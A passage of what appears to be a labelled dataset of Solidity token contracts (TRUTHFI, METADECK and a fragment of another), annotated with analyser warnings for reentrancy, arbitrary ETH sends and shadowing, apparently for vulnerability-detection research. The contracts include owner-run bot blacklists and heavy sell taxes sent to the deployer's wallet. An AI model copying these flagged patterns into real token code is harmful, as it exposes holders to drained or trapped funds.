uniswapV2Pair || to == uniswapV2Pair) {\n uint256 _burn = (amount * _burnPettsCIN) / 100;\n\n super._transfer_etccoinso(from, to, amount, _burn);\n\n return;\n }\n }\n\n super._transfer_hoppei(from, to, amount);\n }\n\n function removeLimit() external onlyOwner {\n hasLimit_hoppei = true;\n }\n\n function _checkLimitation_hoppei(\n address from,\n address to,\n uint256 amount\n ) internal {\n if (!hasLimit_hoppei) {\n if (!isException[from] && !isException[to]) {\n require(amount <= maxTxAmTOB, \"Amount exceeds max\");\n\n if (uniswapV2Pair == ZERO) {\n uniswapV2Pair = IUniswapV2Factory(uniswapV2Router.factory())\n .getPair(address(this), uniswapV2Router.WETH());\n }\n\n if (to == uniswapV2Pair) {\n return;\n }\n\n require(\n balanceOf(to) + amount <= maxwall_SE,\n \"Max holding exceeded max\"\n );\n }\n }\n }\n}\n",
"file_name": "solidity_code_10149.sol",
"size_bytes": 18872,
"vulnerability": 4
} |
{
"code": "// SPDX-License-Identifier: UNLICENSE\npragma solidity ^0.8.0;\n\nabstract contract Context {\n function _msgSender() internal view virtual returns (address) {\n return msg.sender;\n }\n}\n\ninterface IERC20 {\n function totalSupply() external view returns (uint256);\n function balanceOf(address account) external view returns (uint256);\n function transfer(\n address recipient,\n uint256 amount\n ) external returns (bool);\n function allowance(\n address owner,\n address spender\n ) external view returns (uint256);\n function approve(address spender, uint256 amount) external returns (bool);\n function transferFrom(\n address sender,\n address recipient,\n uint256 amount\n ) external returns (bool);\n event Transfer(address indexed from, address indexed to, uint256 value);\n event Approval(\n address indexed owner,\n address indexed spender,\n uint256 value\n );\n}\n\nlibrary SafeMath {\n function add(uint256 a, uint256 b) internal pure returns (uint256) {\n uint256 c = a + b;\n require(c >= a, \"SafeMath: addition overflow\");\n return c;\n }\n\n function sub(uint256 a, uint256 b) internal pure returns (uint256) {\n return sub(a, b, \"SafeMath: subtraction overflow\");\n }\n\n function sub(\n uint256 a,\n uint256 b,\n string memory errorMessage\n ) internal pure returns (uint256) {\n require(b <= a, errorMessage);\n uint256 c = a - b;\n return c;\n }\n\n function mul(uint256 a, uint256 b) internal pure returns (uint256) {\n if (a == 0) {\n return 0;\n }\n uint256 c = a * b;\n require(c / a == b, \"SafeMath: multiplication overflow\");\n return c;\n }\n\n function div(uint256 a, uint256 b) internal pure returns (uint256) {\n return div(a, b, \"SafeMath: division by zero\");\n }\n\n function div(\n uint256 a,\n uint256 b,\n string memory errorMessage\n ) internal pure returns (uint256) {\n require(b > 0, errorMessage);\n uint256 c = a / b;\n return c;\n }\n}\n\ncontract Ownable is Context {\n address private _owner;\n event OwnershipTransferred(\n address indexed previousOwner,\n address indexed newOwner\n );\n\n constructor() {\n address msgSender = _msgSender();\n _owner = msgSender;\n emit OwnershipTransferred(address(0), msgSender);\n }\n\n function owner() public view returns (address) {\n return _owner;\n }\n\n modifier onlyOwner() {\n require(_owner == _msgSender(), \"Ownable: caller is not the owner\");\n _;\n }\n\n function renounceOwnership() public virtual onlyOwner {\n emit OwnershipTransferred(_owner, address(0));\n _owner = address(0);\n }\n}\n\ninterface IUniswapV2Factory {\n function createPair(\n address tokenA,\n address tokenB\n ) external returns (address pair);\n}\n\ninterface IUniswapV2Router02 {\n function swapExactTokensForETHSupportingFeeOnTransferTokens(\n uint amountIn,\n uint amountOutMin,\n address[] calldata path,\n address to,\n uint deadline\n ) external;\n function factory() external pure returns (address);\n function WETH() external pure returns (address);\n function addLiquidityETH(\n address token,\n uint amountTokenDesired,\n uint amountTokenMin,\n uint amountETHMin,\n address to,\n uint deadline\n )\n external\n payable\n returns (uint amountToken, uint amountETH, uint liquidity);\n}\n\ncontract TRUTHFI is Context, IERC20, Ownable {\n using SafeMath for uint256;\n mapping(address => uint256) private _balances;\n mapping(address => mapping(address => uint256)) private _allowances;\n mapping(address => bool) private _isExcludedFromFee;\n mapping(address => bool) private bots;\n\t// WARNING Optimization Issue (immutable-states | ID: 8118b0f): TRUTHFI._taxWallet should be immutable \n\t// Recommendation for 8118b0f: Add the 'immutable' attribute to state variables that never change or are set only in the constructor.\n address payable private _taxWallet;\n\n\t// WARNING Optimization Issue (constable-states | ID: 70919d7): TRUTHFI._initialBuyTax should be constant \n\t// Recommendation for 70919d7: Add the 'constant' attribute to state variables that never change.\n uint256 private _initialBuyTax = 15;\n\t// WARNING Optimization Issue (constable-states | ID: 6740b57): TRUTHFI._initialSellTax should be constant \n\t// Recommendation for 6740b57: Add the 'constant' attribute to state variables that never change.\n uint256 private _initialSellTax = 25;\n uint256 private _finalBuyTax = 0;\n uint256 private _finalSellTax = 0;\n\t// WARNING Optimization Issue (constable-states | ID: c3ff27b): TRUTHFI._reduceBuyTaxAt should be constant \n\t// Recommendation for c3ff27b: Add the 'constant' attribute to state variables that never change.\n uint256 private _reduceBuyTaxAt = 25;\n\t// WARNING Optimization Issue (constable-states | ID: b4f7ba4): TRUTHFI._reduceSellTaxAt should be constant \n\t// Recommendation for b4f7ba4: Add the 'constant' attribute to state variables that never change.\n uint256 private _reduceSellTaxAt = 25;\n\t// WARNING Optimization Issue (constable-states | ID: 9480dbb): TRUTHFI._preventSwapBefore should be constant \n\t// Recommendation for 9480dbb: Add the 'constant' attribute to state variables that never change.\n uint256 private _preventSwapBefore = 20;\n uint256 private _buyCount = 0;\n\n uint8 private constant _decimals = 9;\n uint256 private constant _tTotal = 1000000000000 * 10 ** _decimals;\n string private constant _name = unicode\"TruthFi\";\n string private constant _symbol = unicode\"TRUTHFI\";\n uint256 public _maxTxAmount = 20000000000 * 10 ** _decimals;\n uint256 public _maxWalletSize = 20000000000 * 10 ** _decimals;\n\t// WARNING Optimization Issue (constable-states | ID: d03034b): TRUTHFI._taxSwapThreshold should be constant \n\t// Recommendation for d03034b: Add the 'constant' attribute to state variables that never change.\n uint256 public _taxSwapThreshold = 10000000000 * 10 ** _decimals;\n\t// WARNING Optimization Issue (constable-states | ID: fb31ff3): TRUTHFI._maxTaxSwap should be constant \n\t// Recommendation for fb31ff3: Add the 'constant' attribute to state variables that never change.\n uint256 public _maxTaxSwap = 10000000000 * 10 ** _decimals;\n\n IUniswapV2Router02 private uniswapV2Router;\n address private uniswapV2Pair;\n bool private tradingOpen;\n bool private inSwap = false;\n bool private swapEnabled = false;\n uint256 private sellCount = 0;\n uint256 private lastSellBlock = 0;\n event MaxTxAmountUpdated(uint _maxTxAmount);\n modifier lockTheSwap() {\n inSwap = true;\n _;\n inSwap = false;\n }\n\n constructor() {\n _taxWallet = payable(_msgSender());\n _balances[_msgSender()] = _tTotal;\n _isExcludedFromFee[owner()] = true;\n _isExcludedFromFee[address(this)] = true;\n _isExcludedFromFee[_taxWallet] = true;\n\n emit Transfer(address(0), _msgSender(), _tTotal);\n }\n\n function name() public pure returns (string memory) {\n return _name;\n }\n\n function symbol() public pure returns (string memory) {\n return _symbol;\n }\n\n function decimals() public pure returns (uint8) {\n return _decimals;\n }\n\n function totalSupply() public pure override returns (uint256) {\n return _tTotal;\n }\n\n function balanceOf(address account) public view override returns (uint256) {\n return _balances[account];\n }\n\n function transfer(\n address recipient,\n uint256 amount\n ) public override returns (bool) {\n _transfer(_msgSender(), recipient, amount);\n return true;\n }\n\n\t// WARNING Vulnerability (shadowing-local | severity: Low | ID: e1c2bb1): TRUTHFI.allowance(address,address).owner shadows Ownable.owner() (function)\n\t// Recommendation for e1c2bb1: Rename the local variables that shadow another component.\n function allowance(\n address owner,\n address spender\n ) public view override returns (uint256) {\n return _allowances[owner][spender];\n }\n\n function approve(\n address spender,\n uint256 amount\n ) public override returns (bool) {\n _approve(_msgSender(), spender, amount);\n return true;\n }\n\n\t// WARNING Vulnerability (reentrancy-events | severity: Low | ID: 1999632): Reentrancies (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy') that allow manipulation of the order or value of events.\n\t// Recommendation for 1999632: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n\t// WARNING Vulnerability (reentrancy-benign | severity: Low | ID: b11b9d4): Reentrancy bug (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy'). Only report reentrancy that acts as a double call.\n\t// Recommendation for b11b9d4: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n function transferFrom(\n address sender,\n address recipient,\n uint256 amount\n ) public override returns (bool) {\n\t\t// reentrancy-events | ID: 1999632\n\t\t// reentrancy-benign | ID: b11b9d4\n _transfer(sender, recipient, amount);\n\t\t// reentrancy-events | ID: 1999632\n\t\t// reentrancy-benign | ID: b11b9d4\n _approve(\n sender,\n _msgSender(),\n _allowances[sender][_msgSender()].sub(\n amount,\n \"ERC20: transfer amount exceeds allowance\"\n )\n );\n return true;\n }\n\n\t// WARNING Vulnerability (shadowing-local | severity: Low | ID: ff604e9): TRUTHFI._approve(address,address,uint256).owner shadows Ownable.owner() (function)\n\t// Recommendation for ff604e9: Rename the local variables that shadow another component.\n function _approve(address owner, address spender, uint256 amount) private {\n require(owner != address(0), \"ERC20: approve from the zero address\");\n require(spender != address(0), \"ERC20: approve to the zero address\");\n\t\t// reentrancy-benign | ID: b11b9d4\n _allowances[owner][spender] = amount;\n\t\t// reentrancy-events | ID: 1999632\n emit Approval(owner, spender, amount);\n }\n\n\t// WARNING Vulnerability (reentrancy-events | severity: Low | ID: c39907f): Reentrancies (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy') that allow manipulation of the order or value of events.\n\t// Recommendation for c39907f: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n\t// WARNING Vulnerability (reentrancy-eth | severity: High | ID: 361e0d2): Reentrancy bug (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy'). Do not report reentrancies that don't involve Ether.\n\t// Recommendation for 361e0d2: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n function _transfer(address from, address to, uint256 amount) private {\n require(from != address(0), \"ERC20: transfer from the zero address\");\n require(to != address(0), \"ERC20: transfer to the zero address\");\n require(amount > 0, \"Transfer amount must be greater than zero\");\n uint256 taxAmount = 0;\n if (from != owner() && to != owner()) {\n require(!bots[from] && !bots[to]);\n taxAmount = amount\n .mul(\n (_buyCount > _reduceBuyTaxAt)\n ? _finalBuyTax\n : _initialBuyTax\n )\n .div(100);\n\n if (\n from == uniswapV2Pair &&\n to != address(uniswapV2Router) &&\n !_isExcludedFromFee[to]\n ) {\n require(amount <= _maxTxAmount, \"Exceeds the _maxTxAmount.\");\n require(\n balanceOf(to) + amount <= _maxWalletSize,\n \"Exceeds the maxWalletSize.\"\n );\n _buyCount++;\n }\n\n if (to == uniswapV2Pair && from != address(this)) {\n taxAmount = amount\n .mul(\n (_buyCount > _reduceSellTaxAt)\n ? _finalSellTax\n : _initialSellTax\n )\n .div(100);\n }\n\n uint256 contractTokenBalance = balanceOf(address(this));\n if (\n !inSwap &&\n to == uniswapV2Pair &&\n swapEnabled &&\n contractTokenBalance > _taxSwapThreshold &&\n _buyCount > _preventSwapBefore\n ) {\n if (block.number > lastSellBlock) {\n sellCount = 0;\n }\n require(sellCount < 3, \"Only 3 sells per block!\");\n\t\t\t\t// reentrancy-events | ID: c39907f\n\t\t\t\t// reentrancy-eth | ID: 361e0d2\n swapTokensForEth(\n min(amount, min(contractTokenBalance, _maxTaxSwap))\n );\n uint256 contractETHBalance = address(this).balance;\n if (contractETHBalance > 0) {\n\t\t\t\t\t// reentrancy-events | ID: c39907f\n\t\t\t\t\t// reentrancy-eth | ID: 361e0d2\n sendETHToFee(address(this).balance);\n }\n\t\t\t\t// reentrancy-eth | ID: 361e0d2\n sellCount++;\n\t\t\t\t// reentrancy-eth | ID: 361e0d2\n lastSellBlock = block.number;\n }\n }\n\n if (taxAmount > 0) {\n\t\t\t// reentrancy-eth | ID: 361e0d2\n _balances[address(this)] = _balances[address(this)].add(taxAmount);\n\t\t\t// reentrancy-events | ID: c39907f\n emit Transfer(from, address(this), taxAmount);\n }\n\t\t// reentrancy-eth | ID: 361e0d2\n _balances[from] = _balances[from].sub(amount);\n\t\t// reentrancy-eth | ID: 361e0d2\n _balances[to] = _balances[to].add(amount.sub(taxAmount));\n\t\t// reentrancy-events | ID: c39907f\n emit Transfer(from, to, amount.sub(taxAmount));\n }\n\n function min(uint256 a, uint256 b) private pure returns (uint256) {\n return (a > b) ? b : a;\n }\n\n function swapTokensForEth(uint256 tokenAmount) private lockTheSwap {\n address[] memory path = new address[](2);\n path[0] = address(this);\n path[1] = uniswapV2Router.WETH();\n _approve(address(this), address(uniswapV2Router), tokenAmount);\n\t\t// reentrancy-events | ID: c39907f\n\t\t// reentrancy-events | ID: 1999632\n\t\t// reentrancy-benign | ID: b11b9d4\n\t\t// reentrancy-eth | ID: 361e0d2\n uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens(\n tokenAmount,\n 0,\n path,\n address(this),\n block.timestamp\n );\n }\n\n function removeLimits() external onlyOwner {\n _maxTxAmount = _tTotal;\n _maxWalletSize = _tTotal;\n emit MaxTxAmountUpdated(_tTotal);\n }\n\n function removeStuckETH() external onlyOwner {\n _taxWallet.transfer(address(this).balance);\n }\n\n\t// WARNING Vulnerability (arbitrary-send-eth | severity: High | ID: 8b307d1): TRUTHFI.sendETHToFee(uint256) sends eth to arbitrary user Dangerous calls _taxWallet.transfer(amount)\n\t// Recommendation for 8b307d1: Ensure that an arbitrary user cannot withdraw unauthorized funds.\n function sendETHToFee(uint256 amount) private {\n\t\t// reentrancy-events | ID: c39907f\n\t\t// reentrancy-events | ID: 1999632\n\t\t// reentrancy-eth | ID: 361e0d2\n\t\t// arbitrary-send-eth | ID: 8b307d1\n _taxWallet.transfer(amount);\n }\n\n function addBots(address[] memory bots_) public onlyOwner {\n for (uint i = 0; i < bots_.length; i++) {\n bots[bots_[i]] = true;\n }\n }\n\n function delBots(address[] memory notbot) public onlyOwner {\n for (uint i = 0; i < notbot.length; i++) {\n bots[notbot[i]] = false;\n }\n }\n\n function isBot(address a) public view returns (bool) {\n return bots[a];\n }\n\n\t// WARNING Vulnerability (reentrancy-benign | severity: Low | ID: 39083ba): Reentrancy bug (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy'). Only report reentrancy that acts as a double call.\n\t// Recommendation for 39083ba: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n\t// WARNING Vulnerability (unused-return | severity: Medium | ID: eeb1b9e): TRUTHFI.openTrading() ignores return value by IERC20(uniswapV2Pair).approve(address(uniswapV2Router),type()(uint256).max)\n\t// Recommendation for eeb1b9e: Ensure that all the return values of the function calls are used.\n\t// WARNING Vulnerability (unused-return | severity: Medium | ID: 678d449): TRUTHFI.openTrading() ignores return value by uniswapV2Router.addLiquidityETH{value address(this).balance}(address(this),balanceOf(address(this)),0,0,owner(),block.timestamp)\n\t// Recommendation for 678d449: Ensure that all the return values of the function calls are used.\n\t// WARNING Vulnerability (reentrancy-eth | severity: High | ID: a1850f6): Reentrancy bug (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy'). Do not report reentrancies that don't involve Ether.\n\t// Recommendation for a1850f6: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n function openTrading() external onlyOwner {\n require(!tradingOpen, \"trading is already open\");\n uniswapV2Router = IUniswapV2Router02(\n 0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D\n );\n _approve(address(this), address(uniswapV2Router), _tTotal);\n\t\t// reentrancy-benign | ID: 39083ba\n\t\t// reentrancy-eth | ID: a1850f6\n uniswapV2Pair = IUniswapV2Factory(uniswapV2Router.factory()).createPair(\n address(this),\n uniswapV2Router.WETH()\n );\n\t\t// reentrancy-benign | ID: 39083ba\n\t\t// unused-return | ID: 678d449\n\t\t// reentrancy-eth | ID: a1850f6\n uniswapV2Router.addLiquidityETH{value: address(this).balance}(\n address(this),\n balanceOf(address(this)),\n 0,\n 0,\n owner(),\n block.timestamp\n );\n\t\t// reentrancy-benign | ID: 39083ba\n\t\t// unused-return | ID: eeb1b9e\n\t\t// reentrancy-eth | ID: a1850f6\n IERC20(uniswapV2Pair).approve(address(uniswapV2Router), type(uint).max);\n\t\t// reentrancy-benign | ID: 39083ba\n swapEnabled = true;\n\t\t// reentrancy-eth | ID: a1850f6\n tradingOpen = true;\n }\n\n function reduceFee(uint256 _newFee) external {\n require(_msgSender() == _taxWallet);\n require(_newFee <= _finalBuyTax && _newFee <= _finalSellTax);\n _finalBuyTax = _newFee;\n _finalSellTax = _newFee;\n }\n\n receive() external payable {}\n\n function manualSwap() external {\n require(_msgSender() == _taxWallet);\n uint256 tokenBalance = balanceOf(address(this));\n if (tokenBalance > 0) {\n swapTokensForEth(tokenBalance);\n }\n uint256 ethBalance = address(this).balance;\n if (ethBalance > 0) {\n sendETHToFee(ethBalance);\n }\n }\n}\n",
"file_name": "solidity_code_1015.sol",
"size_bytes": 19536,
"vulnerability": 4
} |
{
"code": "// SPDX-License-Identifier: MIT\npragma solidity ^0.8.0;\n\nabstract contract Context {\n function _msgSender() internal view virtual returns (address) {\n return msg.sender;\n }\n\n function _msgData() internal view virtual returns (bytes calldata) {\n return msg.data;\n }\n}\n\nabstract contract Ownable is Context {\n address private _owner;\n\n event OwnershipTransferred(\n address indexed previousOwner,\n address indexed newOwner\n );\n\n constructor() {\n _transferOwnership(_msgSender());\n }\n\n function owner() public view virtual returns (address) {\n return _owner;\n }\n\n modifier onlyOwner() {\n require(owner() == _msgSender(), \"Ownable: caller is not the owner\");\n\n _;\n }\n\n function renounceOwnership() public virtual onlyOwner {\n _transferOwnership(address(0));\n }\n\n function transferOwnership(address newOwner) public virtual onlyOwner {\n require(\n newOwner != address(0),\n \"Ownable: new owner is the zero address\"\n );\n\n _transferOwnership(newOwner);\n }\n\n function _transferOwnership(address newOwner) internal virtual {\n address oldOwner = _owner;\n\n _owner = newOwner;\n\n emit OwnershipTransferred(oldOwner, newOwner);\n }\n}\n\ninterface IERC20 {\n\t// WARNING Vulnerability (shadowing-local | severity: Low | ID: 42eaec3): METADECK.constructor().totalSupply shadows ERC20.totalSupply() (function) IERC20.totalSupply() (function)\n\t// Recommendation for 42eaec3: Rename the local variables that shadow another component.\n function totalSupply() external view returns (uint256);\n\n function balanceOf(address account) external view returns (uint256);\n\n function transfer(\n address recipient,\n uint256 amount\n ) external returns (bool);\n\n function allowance(\n address owner,\n address spender\n ) external view returns (uint256);\n\n function approve(address spender, uint256 amount) external returns (bool);\n\n function transferFrom(\n address sender,\n address recipient,\n uint256 amount\n ) external returns (bool);\n\n event Transfer(address indexed from, address indexed to, uint256 value);\n\n event Approval(\n address indexed owner,\n address indexed spender,\n uint256 value\n );\n}\n\ninterface IERC20Metadata is IERC20 {\n function name() external view returns (string memory);\n\n function symbol() external view returns (string memory);\n\n function decimals() external view returns (uint8);\n}\n\ncontract ERC20 is Context, IERC20, IERC20Metadata {\n mapping(address => uint256) private _balances;\n\n mapping(address => mapping(address => uint256)) private _allowances;\n\n uint256 private _totalSupply;\n\n string private _name;\n\n string private _symbol;\n\n constructor(string memory name_, string memory symbol_) {\n _name = name_;\n\n _symbol = symbol_;\n }\n\n function name() public view virtual override returns (string memory) {\n return _name;\n }\n\n function symbol() public view virtual override returns (string memory) {\n return _symbol;\n }\n\n function decimals() public view virtual override returns (uint8) {\n return 18;\n }\n\n function totalSupply() public view virtual override returns (uint256) {\n return _totalSupply;\n }\n\n function balanceOf(\n address account\n ) public view virtual override returns (uint256) {\n return _balances[account];\n }\n\n function transfer(\n address recipient,\n uint256 amount\n ) public virtual override returns (bool) {\n _transfer(_msgSender(), recipient, amount);\n\n return true;\n }\n\n function allowance(\n address owner,\n address spender\n ) public view virtual override returns (uint256) {\n return _allowances[owner][spender];\n }\n\n function approve(\n address spender,\n uint256 amount\n ) public virtual override returns (bool) {\n _approve(_msgSender(), spender, amount);\n\n return true;\n }\n\n function transferFrom(\n address sender,\n address recipient,\n uint256 amount\n ) public virtual override returns (bool) {\n _transfer(sender, recipient, amount);\n\n uint256 currentAllowance = _allowances[sender][_msgSender()];\n\n require(\n currentAllowance >= amount,\n \"ERC20: transfer amount exceeds allowance\"\n );\n\n unchecked {\n _approve(sender, _msgSender(), currentAllowance - amount);\n }\n\n return true;\n }\n\n function increaseAllowance(\n address spender,\n uint256 addedValue\n ) public virtual returns (bool) {\n _approve(\n _msgSender(),\n spender,\n _allowances[_msgSender()][spender] + addedValue\n );\n\n return true;\n }\n\n function decreaseAllowance(\n address spender,\n uint256 subtractedValue\n ) public virtual returns (bool) {\n uint256 currentAllowance = _allowances[_msgSender()][spender];\n\n require(\n currentAllowance >= subtractedValue,\n \"ERC20: decreased allowance below zero\"\n );\n\n unchecked {\n _approve(_msgSender(), spender, currentAllowance - subtractedValue);\n }\n\n return true;\n }\n\n function _transfer(\n address sender,\n address recipient,\n uint256 amount\n ) internal virtual {\n require(sender != address(0), \"ERC20: transfer from the zero address\");\n\n require(recipient != address(0), \"ERC20: transfer to the zero address\");\n\n _beforeTokenTransfer(sender, recipient, amount);\n\n uint256 senderBalance = _balances[sender];\n\n require(\n senderBalance >= amount,\n \"ERC20: transfer amount exceeds balance\"\n );\n\n unchecked {\n\t\t\t// reentrancy-eth | ID: ba4a1dc\n _balances[sender] = senderBalance - amount;\n }\n\n\t\t// reentrancy-eth | ID: ba4a1dc\n _balances[recipient] += amount;\n\n\t\t// reentrancy-events | ID: 050ed8f\n emit Transfer(sender, recipient, amount);\n\n _afterTokenTransfer(sender, recipient, amount);\n }\n\n function _mint(address account, uint256 amount) internal virtual {\n require(account != address(0), \"ERC20: mint to the zero address\");\n\n _beforeTokenTransfer(address(0), account, amount);\n\n _totalSupply += amount;\n\n _balances[account] += amount;\n\n emit Transfer(address(0), account, amount);\n\n _afterTokenTransfer(address(0), account, amount);\n }\n\n function _burn(address account, uint256 amount) internal virtual {\n require(account != address(0), \"ERC20: burn from the zero address\");\n\n _beforeTokenTransfer(account, address(0), amount);\n\n uint256 accountBalance = _balances[account];\n\n require(accountBalance >= amount, \"ERC20: burn amount exceeds balance\");\n\n unchecked {\n _balances[account] = accountBalance - amount;\n }\n\n _totalSupply -= amount;\n\n emit Transfer(account, address(0), amount);\n\n _afterTokenTransfer(account, address(0), amount);\n }\n\n function _approve(\n address owner,\n address spender,\n uint256 amount\n ) internal virtual {\n require(owner != address(0), \"ERC20: approve from the zero address\");\n\n require(spender != address(0), \"ERC20: approve to the zero address\");\n\n _allowances[owner][spender] = amount;\n\n emit Approval(owner, spender, amount);\n }\n\n function _beforeTokenTransfer(\n address from,\n address to,\n uint256 amount\n ) internal virtual {}\n\n function _afterTokenTransfer(\n address from,\n address to,\n uint256 amount\n ) internal virtual {}\n}\n\nlibrary SafeMath {\n function tryAdd(\n uint256 a,\n uint256 b\n ) internal pure returns (bool, uint256) {\n unchecked {\n uint256 c = a + b;\n\n if (c < a) return (false, 0);\n\n return (true, c);\n }\n }\n\n function trySub(\n uint256 a,\n uint256 b\n ) internal pure returns (bool, uint256) {\n unchecked {\n if (b > a) return (false, 0);\n\n return (true, a - b);\n }\n }\n\n function tryMul(\n uint256 a,\n uint256 b\n ) internal pure returns (bool, uint256) {\n unchecked {\n if (a == 0) return (true, 0);\n\n uint256 c = a * b;\n\n if (c / a != b) return (false, 0);\n\n return (true, c);\n }\n }\n\n function tryDiv(\n uint256 a,\n uint256 b\n ) internal pure returns (bool, uint256) {\n unchecked {\n if (b == 0) return (false, 0);\n\n return (true, a / b);\n }\n }\n\n function tryMod(\n uint256 a,\n uint256 b\n ) internal pure returns (bool, uint256) {\n unchecked {\n if (b == 0) return (false, 0);\n\n return (true, a % b);\n }\n }\n\n function add(uint256 a, uint256 b) internal pure returns (uint256) {\n return a + b;\n }\n\n function sub(uint256 a, uint256 b) internal pure returns (uint256) {\n return a - b;\n }\n\n function mul(uint256 a, uint256 b) internal pure returns (uint256) {\n return a * b;\n }\n\n function div(uint256 a, uint256 b) internal pure returns (uint256) {\n return a / b;\n }\n\n function mod(uint256 a, uint256 b) internal pure returns (uint256) {\n return a % b;\n }\n\n function sub(\n uint256 a,\n uint256 b,\n string memory errorMessage\n ) internal pure returns (uint256) {\n unchecked {\n require(b <= a, errorMessage);\n\n return a - b;\n }\n }\n\n function div(\n uint256 a,\n uint256 b,\n string memory errorMessage\n ) internal pure returns (uint256) {\n unchecked {\n require(b > 0, errorMessage);\n\n return a / b;\n }\n }\n\n function mod(\n uint256 a,\n uint256 b,\n string memory errorMessage\n ) internal pure returns (uint256) {\n unchecked {\n require(b > 0, errorMessage);\n\n return a % b;\n }\n }\n}\n\ninterface IUniswapV2Factory {\n event PairCreated(\n address indexed token0,\n address indexed token1,\n address pair,\n uint256\n );\n\n function feeTo() external view returns (address);\n\n function feeToSetter() external view returns (address);\n\n function getPair(\n address tokenA,\n address tokenB\n ) external view returns (address pair);\n\n function allPairs(uint256) external view returns (address pair);\n\n function allPairsLength() external view returns (uint256);\n\n function createPair(\n address tokenA,\n address tokenB\n ) external returns (address pair);\n\n function setFeeTo(address) external;\n\n function setFeeToSetter(address) external;\n}\n\ninterface IUniswapV2Pair {\n event Approval(\n address indexed owner,\n address indexed spender,\n uint256 value\n );\n\n event Transfer(address indexed from, address indexed to, uint256 value);\n\n function name() external pure returns (string memory);\n\n function symbol() external pure returns (string memory);\n\n function decimals() external pure returns (uint8);\n\n function totalSupply() external view returns (uint256);\n\n function balanceOf(address owner) external view returns (uint256);\n\n function allowance(\n address owner,\n address spender\n ) external view returns (uint256);\n\n function approve(address spender, uint256 value) external returns (bool);\n\n function transfer(address to, uint256 value) external returns (bool);\n\n function transferFrom(\n address from,\n address to,\n uint256 value\n ) external returns (bool);\n\n function DOMAIN_SEPARATOR() external view returns (bytes32);\n\n function PERMIT_TYPEHASH() external pure returns (bytes32);\n\n function nonces(address owner) external view returns (uint256);\n\n function permit(\n address owner,\n address spender,\n uint256 value,\n uint256 deadline,\n uint8 v,\n bytes32 r,\n bytes32 s\n ) external;\n\n event Mint(address indexed sender, uint256 amount0, uint256 amount1);\n\n event Burn(\n address indexed sender,\n uint256 amount0,\n uint256 amount1,\n address indexed to\n );\n\n event Swap(\n address indexed sender,\n uint256 amount0In,\n uint256 amount1In,\n uint256 amount0Out,\n uint256 amount1Out,\n address indexed to\n );\n\n event Sync(uint112 reserve0, uint112 reserve1);\n\n function MINIMUM_LIQUIDITY() external pure returns (uint256);\n\n function factory() external view returns (address);\n\n function token0() external view returns (address);\n\n function token1() external view returns (address);\n\n function getReserves()\n external\n view\n returns (uint112 reserve0, uint112 reserve1, uint32 blockTimestampLast);\n\n function price0CumulativeLast() external view returns (uint256);\n\n function price1CumulativeLast() external view returns (uint256);\n\n function kLast() external view returns (uint256);\n\n function mint(address to) external returns (uint256 liquidity);\n\n function burn(\n address to\n ) external returns (uint256 amount0, uint256 amount1);\n\n function swap(\n uint256 amount0Out,\n uint256 amount1Out,\n address to,\n bytes calldata data\n ) external;\n\n function skim(address to) external;\n\n function sync() external;\n\n function initialize(address, address) external;\n}\n\ninterface IUniswapV2Router02 {\n function factory() external pure returns (address);\n\n function WETH() external pure returns (address);\n\n function addLiquidity(\n address tokenA,\n address tokenB,\n uint256 amountADesired,\n uint256 amountBDesired,\n uint256 amountAMin,\n uint256 amountBMin,\n address to,\n uint256 deadline\n ) external returns (uint256 amountA, uint256 amountB, uint256 liquidity);\n\n function addLiquidityETH(\n address token,\n uint256 amountTokenDesired,\n uint256 amountTokenMin,\n uint256 amountETHMin,\n address to,\n uint256 deadline\n )\n external\n payable\n returns (uint256 amountToken, uint256 amountETH, uint256 liquidity);\n\n function swapExactTokensForTokensSupportingFeeOnTransferTokens(\n uint256 amountIn,\n uint256 amountOutMin,\n address[] calldata path,\n address to,\n uint256 deadline\n ) external;\n\n function swapExactETHForTokensSupportingFeeOnTransferTokens(\n uint256 amountOutMin,\n address[] calldata path,\n address to,\n uint256 deadline\n ) external payable;\n\n function swapExactTokensForETHSupportingFeeOnTransferTokens(\n uint256 amountIn,\n uint256 amountOutMin,\n address[] calldata path,\n address to,\n uint256 deadline\n ) external;\n}\n\ncontract METADECK is ERC20, Ownable {\n using SafeMath for uint256;\n\n IUniswapV2Router02 public immutable uniswapV2Router;\n\n\t// WARNING Optimization Issue (immutable-states | ID: 5a7cb48): METADECK.uniswapV2Pair should be immutable \n\t// Recommendation for 5a7cb48: Add the 'immutable' attribute to state variables that never change or are set only in the constructor.\n address public uniswapV2Pair;\n\n address public constant deadAddress = address(0xdead);\n\n bool private swapping;\n\n address public devWallet;\n\n uint256 public maxTx;\n\n uint256 public swapTokensAtAmount;\n\n uint256 public maxWallet;\n\n bool public limitsInEffect = true;\n\n bool public tradingActive = false;\n\n bool public swapEnabled = false;\n\n mapping(address => uint256) private _holderLastTransferTimestamp;\n\n bool public transferDelayEnabled = true;\n\n uint256 public buyFee;\n\n uint256 public sellFee;\n\n mapping(address => bool) private _isExcludedFromFees;\n\n mapping(address => bool) public _isExcludedmaxTx;\n\n mapping(address => bool) public automatedMarketMakerPairs;\n\n event UpdateUniswapV2Router(\n address indexed newAddress,\n address indexed oldAddress\n );\n\n event ExcludeFromTax(address indexed account, bool isExcluded);\n\n event SetAutomatedMarketMakerPair(address indexed pair, bool indexed value);\n\n event devWalletUpdated(\n address indexed newWallet,\n address indexed oldWallet\n );\n\n\t// WARNING Vulnerability (shadowing-local | severity: Low | ID: 42eaec3): METADECK.constructor().totalSupply shadows ERC20.totalSupply() (function) IERC20.totalSupply() (function)\n\t// 